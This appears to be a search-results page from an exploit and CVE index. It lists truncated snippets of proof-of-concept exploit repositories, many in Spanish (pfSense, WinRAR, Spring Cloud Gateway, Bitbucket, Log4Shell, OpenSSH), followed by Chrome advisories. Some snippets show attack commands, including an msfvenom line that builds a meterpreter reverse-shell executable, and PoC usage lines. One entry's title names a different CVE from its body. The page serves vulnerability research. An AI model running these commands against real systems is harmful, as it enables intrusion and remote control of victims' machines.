521241 matches found
CVE-2019-12949
CVE-2019-12949 De la vulnerabilidad de Cross Site Scripting a la ejecución remota de código en pfSense 2.4.4-p2 y 2.4.4-p3 Descripción de la información: En pfSense 2.4.4-p2 y 2.4.4-p3, si es posible engañar al administrador autenticado para que haga clic en un botón de una página de phishing, un...
CVE-2018-20250
Configuración Video demo: https://youtu.be/5tuWsi1tGS0 Máquina VirtualBox: https://j2c.cc/virtualbox-machine Winrar 5.5 32bit: https://j2c.cc/winrar-550-32bit Pasos a seguir Kali: root@kitploit: ip a msfvenom -p windows/meterpreter/reversetcp lport=1234 lhost=10.0.0.199 -f exe shell.exe Windows:...
CVE-2022-22947-Spring-Cloud-Gateway
Vulnerabilidad de ejecución remota de código en Spring Cloud Gateway Esta vulnerabilidad presenta un alto riesgo para los servicios en línea; no realice escaneos no autorizados. Instrucciones de uso root@kitploit: ╰─ ./CVE-2022-22947 -h ─╯ Ejecutar comando: ./CVE-2022-22947 -u http://127.0.0.1:80...
cve-2022-36804
Atlassian Bitbucket RCE PoC - CVE-2022-36804 This repo contains a simple PoC script for Atlassian Bitbucket's remove code execution vulnerability. You can simply run this script via following commands: root@kitploit: echo 'bitbucket.redacted.com' | python3 cve-2022-36804.py Or you can create a...
Exploiting-CVE-2021-44228-Log4Shell-in-a-Banking-Environment
Explotando-CVE-2021-44228-Log4Shell-en-un-Entorno-Bancario Objetivo: Demostrar la explotación de la vulnerabilidad Log4Shell CVE-2021-44228 dentro de un entorno simulado de aplicación bancaria. Alcance: 1: Configurar una aplicación bancaria vulnerable usando Apache Log4j. 2:Crear un payload para...
CVE-2019-0887
CVE-2019-0887 Compila el CVE-2019-0887, renómbralo a winhlp.dll Compila InstallHook, renómbralo a hook.exe cuidado, deben compilarse con x64 Ponlos en el sistema malvado tal cual root@kitploit: c:\windows\hook.exe c:\windows\winhlp.dll c:\windows\winhlp64.exe something evil Si alguien quiere...
cve-2024-6387-poc
cve-2024-6387-poc una condición de carrera en el manejador de señales del servidor de OpenSSH sshd 7etsuo Descripción Un exploit para CVE-2024-6387, dirigido a una condición de carrera en el manejador de señales del servidor de OpenSSH sshd en sistemas Linux basados en glibc. La vulnerabilidad...
exploit-CVE-2015-1427
Elasticsearch 1.4.0 1.4.2 Remote Code Execution Elasticsearch is a distributed, RESTful search and analytics engine capable of solving a growing number of use cases. As the heart of the Elastic Stack, it centrally stores your data so you can discover the expected and uncover the unexpected...
exploit-CVE-2015-3306
ProFTPd 1.3.5 - modcopy Ejecución Remota de Comandos ProFTPD es un demonio FTP altamente configurable para sistemas operativos Unix y similares a Unix. ProFTPD surgió del deseo de tener un servidor FTP seguro y configurable. Fue inspirado por una gran admiración hacia el servidor web Apache. A...
exploit-CVE-2016-9920
Roundcube 1.0.0 = 1.2.2 Ejecución Remota de Código Roundcube es un software de webmail de código abierto ampliamente distribuido utilizado por muchas organizaciones y empresas en todo el mundo. El espejo en SourceForge, por ejemplo, cuenta con más de 260,000 descargas en los últimos 12 meses, lo...
CVE-2026-33017
CVE-2025-62593 — Ray Unauthenticated RCE Exploit Overview CVE-2025-62593 is an unauthenticated remote code execution vulnerability in the Ray distributed AI compute engine. The root cause is the absence of authentication on critical HTTP endpoints /api/jobs, /api/jobagent/jobs. An attacker can...
yaml-payload-2
yaml-payload A SnakeYAML deserialization exploit payload for CVE-2022-1471 , adapted from artsploit/yaml-payload originally based on mbechler/marshalsec. What it does When loaded via SnakeYAML's unsafe Yaml.load, this payload takes over the running application and replaces it with a "You've Been...
CVE-2018-14667
CVE-2018-14667 After spending many time to understand and correctly exploit this CVE, I decided to build a repo on the RichFaces 3.X RCE bug and share the HOWTOs step by step with the community. 0x00 : Introduction on RichFaces 3.X bug On Monday, November 19, Joao F M Figueiredo published a well...
CVE-2026-87430
Buffer overflow in WebRTC in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. Chromium security severity: Low...
CVE-2026-87430
Buffer overflow in WebRTC in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. Chromium security severity: Low...
CVE-2026-87430
CVE-2026-87430 is a buffer overflow in the WebRTC component of Google Chrome prior to version 153.0.8010.36 . A remote attacker can potentially execute arbitrary code inside the sandbox by serving a crafted HTML page to the user, requiring user interaction. Chromium assigned a Low security severi...
EUVD-2026-74479
Buffer overflow in WebRTC in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. Chromium security severity: Low...
EUVD-2026-74477
Race condition in V8 in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. Chromium security severity: Low...
CVE-2026-87601
A race condition in the V8 JavaScript engine in Google Chrome prior to 153.0.8010.36 allows a remote attacker to execute arbitrary code inside the sandbox by convincing a user to visit a crafted HTML page. Chromium rates the severity as Low , while the CNA CVSS v3.1 score is 7.5 (High) with high ...